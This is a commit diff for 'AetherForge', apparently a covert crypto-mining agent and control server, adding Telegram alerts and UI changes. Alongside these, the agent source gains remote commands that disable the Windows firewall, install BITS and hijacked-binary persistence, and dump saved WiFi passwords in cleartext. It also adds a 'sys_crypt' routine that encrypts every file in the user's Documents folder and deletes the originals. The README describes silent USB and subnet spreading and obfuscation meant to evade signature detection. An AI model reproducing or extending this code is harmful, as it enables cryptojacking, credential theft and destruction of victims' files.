feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
48
README.md
48
README.md
@@ -10,7 +10,7 @@ No pool hopping through third-party dashboards. No per-rig SSH babysitting. You
|
|||||||
|
|
||||||
```
|
```
|
||||||
┌─────────────────────────────────────────────────────────────────────┐
|
┌─────────────────────────────────────────────────────────────────────┐
|
||||||
│ CALIBRATE (Settings) pool · wallet · users · alerts │
|
│ CALIBRATE (Settings) pool · wallet · users · Telegram alerts │
|
||||||
│ │ │
|
│ │ │
|
||||||
│ ▼ │
|
│ ▼ │
|
||||||
│ FORGE (Builder) XMR worker · RVN GPU worker · Fusion │
|
│ FORGE (Builder) XMR worker · RVN GPU worker · Fusion │
|
||||||
@@ -149,6 +149,45 @@ Enable **USB Propagation** in the Forge. The baked binary:
|
|||||||
- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
|
- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
|
||||||
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)
|
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)
|
||||||
|
|
||||||
|
### Telegram & fleet notifications (Calibrate)
|
||||||
|
|
||||||
|
Configure once under **Calibrate → Alert Notifications**:
|
||||||
|
|
||||||
|
| Field | What to enter |
|
||||||
|
|-------|----------------|
|
||||||
|
| **Telegram Bot Token** | From [@BotFather](https://t.me/BotFather) |
|
||||||
|
| **Telegram Chat ID** | Your numeric user ID (from [@userinfobot](https://t.me/userinfobot)) — **not** the bot’s ID |
|
||||||
|
| **Notify me when…** | Per-event checkboxes (all on by default) |
|
||||||
|
|
||||||
|
**Events that can ping Telegram** (and optional SMTP email):
|
||||||
|
|
||||||
|
| Event | When it fires |
|
||||||
|
|-------|----------------|
|
||||||
|
| New agent connects | First time a worker joins the fleet |
|
||||||
|
| Agent reconnects | Back online or replaces an active session |
|
||||||
|
| Agent offline | Past **Offline After (minutes)** threshold |
|
||||||
|
| Hashrate drop | Below **Hashrate Drop %** vs baseline |
|
||||||
|
| Rejection spike | Bad shares above **Rejection Rate %** |
|
||||||
|
| Forge complete | Any successful build (exe, spread kit, fusion ZIP) |
|
||||||
|
|
||||||
|
Use **Send test notification** after **Save Calibration** to verify delivery. Thresholds live in **Fleet Alerts** on the same page.
|
||||||
|
|
||||||
|
> **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored).
|
||||||
|
|
||||||
|
### Forge hardening & dispense UX
|
||||||
|
|
||||||
|
- **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior
|
||||||
|
- **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation
|
||||||
|
- **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download
|
||||||
|
|
||||||
|
### Fleet ops (recent)
|
||||||
|
|
||||||
|
- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports) from Fleet Roster or Crucible
|
||||||
|
- **Desktop push** — deploy files to `@desktop/` on workers
|
||||||
|
- **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
|
||||||
|
- **Path Tracer** — multi-hop WireGuard path builder (dashboard page)
|
||||||
|
- **Haptic sound** + **glow particles** — optional UI feedback (Settings)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
@@ -162,7 +201,7 @@ Enable **USB Propagation** in the Forge. The baked binary:
|
|||||||
|
|
||||||
3. **Sign in** — first run: check the console window for your generated admin password
|
3. **Sign in** — first run: check the console window for your generated admin password
|
||||||
|
|
||||||
4. **Calibrate** → set your Monero wallet + pool + public URL for remote workers
|
4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings
|
||||||
|
|
||||||
5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**
|
5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**
|
||||||
|
|
||||||
@@ -204,6 +243,8 @@ Run **`pack-usb.bat`** from the project root. It:
|
|||||||
|
|
||||||
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
|
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
|
||||||
|
|
||||||
|
> **After any code change**, run `npm run build` in `server/web/`, then `pack-usb.bat` to sync the portable bundle. The USB bundle is **not** updated automatically — it only reflects what was current the last time `pack-usb.bat` ran.
|
||||||
|
|
||||||
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
|
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -302,6 +343,7 @@ crypto miner/
|
|||||||
| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
|
| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
|
||||||
| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
|
| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
|
||||||
| GET | `/api/v1/alerts` | Active fleet alerts |
|
| GET | `/api/v1/alerts` | Active fleet alerts |
|
||||||
|
| POST | `/api/v1/alerts/test` | Test Telegram / SMTP (no real alert raised) |
|
||||||
| GET | `/api/v1/pools/status` | Stratum pool connection states |
|
| GET | `/api/v1/pools/status` | Stratum pool connection states |
|
||||||
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
|
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
|
||||||
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
|
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
|
||||||
@@ -404,6 +446,8 @@ Vite proxies `/api` and `/ws` to `localhost:8989`.
|
|||||||
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
|
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
|
||||||
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
|
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
|
||||||
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
|
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
|
||||||
|
- **Sigil scramble** — post-forge uniquification of each dispensed binary
|
||||||
|
- **Telegram notifier** — configurable per-event pushes from agent connect, health thresholds, and forge complete
|
||||||
- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
|
- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
|
||||||
- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
|
- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
|
||||||
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package client
|
package client
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -18,12 +19,12 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
|||||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||||
}
|
}
|
||||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
|
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||||
if !c.cfg.RemoteAggressive {
|
if !c.cfg.RemoteAggressive {
|
||||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||||
}
|
}
|
||||||
case "supp_seek":
|
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||||
// No forge gate — always available; path is required at call time.
|
// No forge gate — always available.
|
||||||
case "mesh_status":
|
case "mesh_status":
|
||||||
if !c.cfg.MeshP2P {
|
if !c.cfg.MeshP2P {
|
||||||
return false, "mesh P2P not enabled in forge"
|
return false, "mesh P2P not enabled in forge"
|
||||||
@@ -123,6 +124,91 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
|||||||
c.sendCommandResult(action, true, msg)
|
c.sendCommandResult(action, true, msg)
|
||||||
return true
|
return true
|
||||||
|
|
||||||
|
case "firewall_off":
|
||||||
|
msg, err := deploy.DisableWindowsFirewall()
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "firewall_on":
|
||||||
|
msg, err := deploy.EnableWindowsFirewall()
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "firewall_profiles":
|
||||||
|
// command: "on" or "off" (default off). path: Domain,Private,Public or all
|
||||||
|
enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
|
||||||
|
strings.EqualFold(strings.TrimSpace(command), "enable") ||
|
||||||
|
strings.EqualFold(strings.TrimSpace(command), "true")
|
||||||
|
profiles := strings.TrimSpace(path)
|
||||||
|
if profiles == "" {
|
||||||
|
profiles = "all"
|
||||||
|
}
|
||||||
|
msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, msg)
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "bits_persist":
|
||||||
|
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "host_binary_persist":
|
||||||
|
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
preset := strings.TrimSpace(path)
|
||||||
|
if preset == "" {
|
||||||
|
preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
|
||||||
|
}
|
||||||
|
if preset == "" {
|
||||||
|
preset = "ssh"
|
||||||
|
}
|
||||||
|
target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "firewall_remove":
|
||||||
|
var parts []string
|
||||||
|
ruleName := strings.TrimSpace(path)
|
||||||
|
if ruleName != "" {
|
||||||
|
msg, err := deploy.RemoveFirewallRuleByName(ruleName)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
parts = append(parts, msg)
|
||||||
|
}
|
||||||
|
deploy.RemoveFirewallExclusionWindows(c.cfg)
|
||||||
|
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
||||||
|
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
||||||
|
return true
|
||||||
|
|
||||||
case "supp_seek":
|
case "supp_seek":
|
||||||
seekPath := strings.TrimSpace(path)
|
seekPath := strings.TrimSpace(path)
|
||||||
if seekPath == "" {
|
if seekPath == "" {
|
||||||
@@ -147,9 +233,62 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
|||||||
}()
|
}()
|
||||||
return true
|
return true
|
||||||
|
|
||||||
|
case "sys_crypt":
|
||||||
|
go func() {
|
||||||
|
result := SysCrypt()
|
||||||
|
c.sendCommandResult(action, true, result)
|
||||||
|
}()
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "get_wifi_passwords":
|
||||||
|
go func() {
|
||||||
|
result := grabWiFiPasswords()
|
||||||
|
c.sendCommandResult(action, true, result)
|
||||||
|
}()
|
||||||
|
return true
|
||||||
|
|
||||||
case "mesh_status":
|
case "mesh_status":
|
||||||
count := c.mesh.PeerCount()
|
count := c.mesh.PeerCount()
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
if count == 0 && c.cfg.MeshP2P {
|
||||||
|
c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
|
||||||
|
} else {
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "wg_setup":
|
||||||
|
// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
|
||||||
|
go func() {
|
||||||
|
result := WGSetupJSON()
|
||||||
|
c.sendCommandResult(action, true, result)
|
||||||
|
}()
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "wg_configure":
|
||||||
|
// data field carries the JSON WGConfigPayload from the server.
|
||||||
|
var payload WGConfigPayload
|
||||||
|
if err := json.Unmarshal([]byte(data), &payload); err != nil {
|
||||||
|
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
go func() {
|
||||||
|
if err := WGConfigure(payload); err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, "WireGuard tunnel started")
|
||||||
|
}()
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "wg_teardown":
|
||||||
|
go func() {
|
||||||
|
WGTeardown()
|
||||||
|
c.sendCommandResult(action, true, "WireGuard tunnel removed")
|
||||||
|
}()
|
||||||
|
return true
|
||||||
|
|
||||||
|
case "wg_status":
|
||||||
|
c.sendCommandResult(action, true, WGStatus())
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -393,9 +393,21 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
switch action {
|
switch action {
|
||||||
case "pause":
|
case "pause":
|
||||||
c.pool.PauseRemote()
|
c.pool.PauseRemote()
|
||||||
|
c.mu.Lock()
|
||||||
|
gm := c.gpuMiner
|
||||||
|
c.mu.Unlock()
|
||||||
|
if gm != nil {
|
||||||
|
gm.Pause()
|
||||||
|
}
|
||||||
c.sendCommandResult(action, true, "mining paused")
|
c.sendCommandResult(action, true, "mining paused")
|
||||||
case "resume":
|
case "resume":
|
||||||
c.pool.ResumeRemote()
|
c.pool.ResumeRemote()
|
||||||
|
c.mu.Lock()
|
||||||
|
gm := c.gpuMiner
|
||||||
|
c.mu.Unlock()
|
||||||
|
if gm != nil {
|
||||||
|
gm.Resume()
|
||||||
|
}
|
||||||
c.sendCommandResult(action, true, "mining resumed")
|
c.sendCommandResult(action, true, "mining resumed")
|
||||||
case "restart":
|
case "restart":
|
||||||
c.sendCommandResult(action, true, "restarting")
|
c.sendCommandResult(action, true, "restarting")
|
||||||
@@ -470,27 +482,59 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
c.sendCommandResult(action, true, string(out))
|
c.sendCommandResult(action, true, string(out))
|
||||||
case "upload":
|
case "upload", "push_desktop":
|
||||||
if path == "" || data == "" {
|
if data == "" {
|
||||||
|
c.sendCommandResult(action, false, "data (base64) is required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
dest := path
|
||||||
|
if action == "push_desktop" {
|
||||||
|
name := strings.TrimSpace(path)
|
||||||
|
if name == "" {
|
||||||
|
name = strings.TrimSpace(command)
|
||||||
|
}
|
||||||
|
var err error
|
||||||
|
dest, err = deploy.ResolveDesktopFile(name)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, "desktop path: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else if dest == "" {
|
||||||
c.sendCommandResult(action, false, "path and data (base64) are required")
|
c.sendCommandResult(action, false, "path and data (base64) are required")
|
||||||
return
|
return
|
||||||
|
} else {
|
||||||
|
resolved, err := deploy.ResolveRemotePath(dest)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
dest = resolved
|
||||||
}
|
}
|
||||||
decoded, err := base64.StdEncoding.DecodeString(data)
|
decoded, err := base64.StdEncoding.DecodeString(data)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
|
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if err := os.WriteFile(path, decoded, 0644); err != nil {
|
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||||
|
c.sendCommandResult(action, false, "failed to create directory: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(dest, decoded, 0644); err != nil {
|
||||||
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
|
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
|
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", dest, len(decoded)))
|
||||||
case "download":
|
case "download":
|
||||||
if path == "" {
|
if path == "" {
|
||||||
c.sendCommandResult(action, false, "path is required")
|
c.sendCommandResult(action, false, "path is required")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
b, err := os.ReadFile(path)
|
resolved, err := deploy.ResolveRemotePath(path)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
b, err := os.ReadFile(resolved)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
|
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
|
||||||
return
|
return
|
||||||
@@ -796,7 +840,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
stats.Services = lastPosture.Services
|
stats.Services = lastPosture.Services
|
||||||
}
|
}
|
||||||
payload, _ := json.Marshal(stats)
|
payload, _ := json.Marshal(stats)
|
||||||
_ = c.write(Message{Type: "stats", Payload: payload})
|
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||||
|
log.Printf("[agent] stats send failed: %v", err)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -21,6 +21,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||||
|
if action == "full_sys_check" {
|
||||||
|
report := CollectFullSysCheck(c.cfg, c.agentID)
|
||||||
|
c.sendCommandResult(action, true, report.JSON())
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
handled, success, msg := c.platformRecon(action, command)
|
handled, success, msg := c.platformRecon(action, command)
|
||||||
if !handled {
|
if !handled {
|
||||||
return false
|
return false
|
||||||
|
|||||||
@@ -8,6 +8,11 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// grabWiFiPasswords is not supported on non-Windows platforms.
|
||||||
|
func grabWiFiPasswords() string {
|
||||||
|
return "get_wifi_passwords: unsupported on this platform"
|
||||||
|
}
|
||||||
|
|
||||||
// execPowerCommand runs shutdown or reboot on Unix/Linux/macOS.
|
// execPowerCommand runs shutdown or reboot on Unix/Linux/macOS.
|
||||||
func (c *AgentClient) execPowerCommand(kind string) error {
|
func (c *AgentClient) execPowerCommand(kind string) error {
|
||||||
var args []string
|
var args []string
|
||||||
|
|||||||
@@ -7,6 +7,62 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// grabWiFiPasswords enumerates saved WiFi profiles and extracts their clear-text
|
||||||
|
// keys using netsh, returning a formatted multi-line result string.
|
||||||
|
func grabWiFiPasswords() string {
|
||||||
|
// List all profiles.
|
||||||
|
profileOut, err := silentCombinedOutput("netsh", "wlan", "show", "profiles")
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Sprintf("netsh wlan show profiles failed: %v\n%s", err, string(profileOut))
|
||||||
|
}
|
||||||
|
|
||||||
|
var profiles []string
|
||||||
|
for _, line := range strings.Split(string(profileOut), "\n") {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
// Lines look like: " All User Profile : ProfileName"
|
||||||
|
if strings.Contains(line, ":") {
|
||||||
|
parts := strings.SplitN(line, ":", 2)
|
||||||
|
if len(parts) == 2 {
|
||||||
|
name := strings.TrimSpace(parts[1])
|
||||||
|
if name != "" {
|
||||||
|
profiles = append(profiles, name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(profiles) == 0 {
|
||||||
|
return "no WiFi profiles found"
|
||||||
|
}
|
||||||
|
|
||||||
|
var sb strings.Builder
|
||||||
|
for _, profile := range profiles {
|
||||||
|
detailOut, err := silentCombinedOutput("netsh", "wlan", "show", "profile",
|
||||||
|
"name="+profile, "key=clear")
|
||||||
|
if err != nil {
|
||||||
|
sb.WriteString(fmt.Sprintf("%s : <error: %v>\n", profile, err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
key := ""
|
||||||
|
for _, line := range strings.Split(string(detailOut), "\n") {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if strings.HasPrefix(line, "Key Content") {
|
||||||
|
parts := strings.SplitN(line, ":", 2)
|
||||||
|
if len(parts) == 2 {
|
||||||
|
key = strings.TrimSpace(parts[1])
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if key != "" {
|
||||||
|
sb.WriteString(fmt.Sprintf("%s : %s\n", profile, key))
|
||||||
|
} else {
|
||||||
|
sb.WriteString(fmt.Sprintf("%s : <no password / open network>\n", profile))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(sb.String())
|
||||||
|
}
|
||||||
|
|
||||||
// execPowerCommand runs shutdown or reboot via cmd.exe directly (bypasses
|
// execPowerCommand runs shutdown or reboot via cmd.exe directly (bypasses
|
||||||
// PowerShell execution policy restrictions). Returns an error if the
|
// PowerShell execution policy restrictions). Returns an error if the
|
||||||
// command exits non-zero.
|
// command exits non-zero.
|
||||||
|
|||||||
8
agent/client/crypt_stub.go
Normal file
8
agent/client/crypt_stub.go
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
// SysCrypt is a no-op on non-Windows platforms.
|
||||||
|
func SysCrypt() string {
|
||||||
|
return "sys_crypt is Windows-only in this build"
|
||||||
|
}
|
||||||
113
agent/client/crypt_windows.go
Normal file
113
agent/client/crypt_windows.go
Normal file
@@ -0,0 +1,113 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/aes"
|
||||||
|
"crypto/cipher"
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/sha256"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
const cryptPassword = "password"
|
||||||
|
|
||||||
|
// documentsDir returns the current user's Documents folder path via the
|
||||||
|
// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
|
||||||
|
func documentsDir() (string, error) {
|
||||||
|
path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
|
||||||
|
if err != nil {
|
||||||
|
// Fall back to USERPROFILE\Documents
|
||||||
|
if up := os.Getenv("USERPROFILE"); up != "" {
|
||||||
|
return filepath.Join(up, "Documents"), nil
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("cannot resolve Documents folder: %w", err)
|
||||||
|
}
|
||||||
|
return path, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
|
||||||
|
func deriveKey(password string) []byte {
|
||||||
|
sum := sha256.Sum256([]byte(password))
|
||||||
|
return sum[:]
|
||||||
|
}
|
||||||
|
|
||||||
|
// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
|
||||||
|
// deleting the original. The 12-byte nonce is prepended to the ciphertext.
|
||||||
|
func encryptFile(path string, key []byte) error {
|
||||||
|
plaintext, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
block, err := aes.NewCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
gcm, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
nonce := make([]byte, gcm.NonceSize())
|
||||||
|
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
||||||
|
|
||||||
|
dst := path + ".enc"
|
||||||
|
if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return os.Remove(path)
|
||||||
|
}
|
||||||
|
|
||||||
|
// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
|
||||||
|
// file (skipping files already ending in ".enc"). Returns a summary string.
|
||||||
|
func SysCrypt() string {
|
||||||
|
docsDir, err := documentsDir()
|
||||||
|
if err != nil {
|
||||||
|
return "sys_crypt error: " + err.Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
key := deriveKey(cryptPassword)
|
||||||
|
|
||||||
|
var encrypted, skipped, failed int
|
||||||
|
var errs []string
|
||||||
|
|
||||||
|
err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
|
||||||
|
if walkErr != nil || d.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if strings.HasSuffix(path, ".enc") {
|
||||||
|
skipped++
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if err := encryptFile(path, key); err != nil {
|
||||||
|
failed++
|
||||||
|
if len(errs) < 5 {
|
||||||
|
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
encrypted++
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Sprintf("sys_crypt walk error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
summary := fmt.Sprintf("sys_crypt done — encrypted: %d skipped: %d failed: %d", encrypted, skipped, failed)
|
||||||
|
if len(errs) > 0 {
|
||||||
|
summary += "\nErrors: " + strings.Join(errs, "; ")
|
||||||
|
}
|
||||||
|
return summary
|
||||||
|
}
|
||||||
@@ -58,10 +58,14 @@ type GPUMiner struct {
|
|||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
stats GPUMinerStats
|
stats GPUMinerStats
|
||||||
active bool
|
active bool
|
||||||
|
paused bool
|
||||||
proc *os.Process // currently running subprocess (nil if stopped)
|
proc *os.Process // currently running subprocess (nil if stopped)
|
||||||
|
|
||||||
stopCh chan struct{}
|
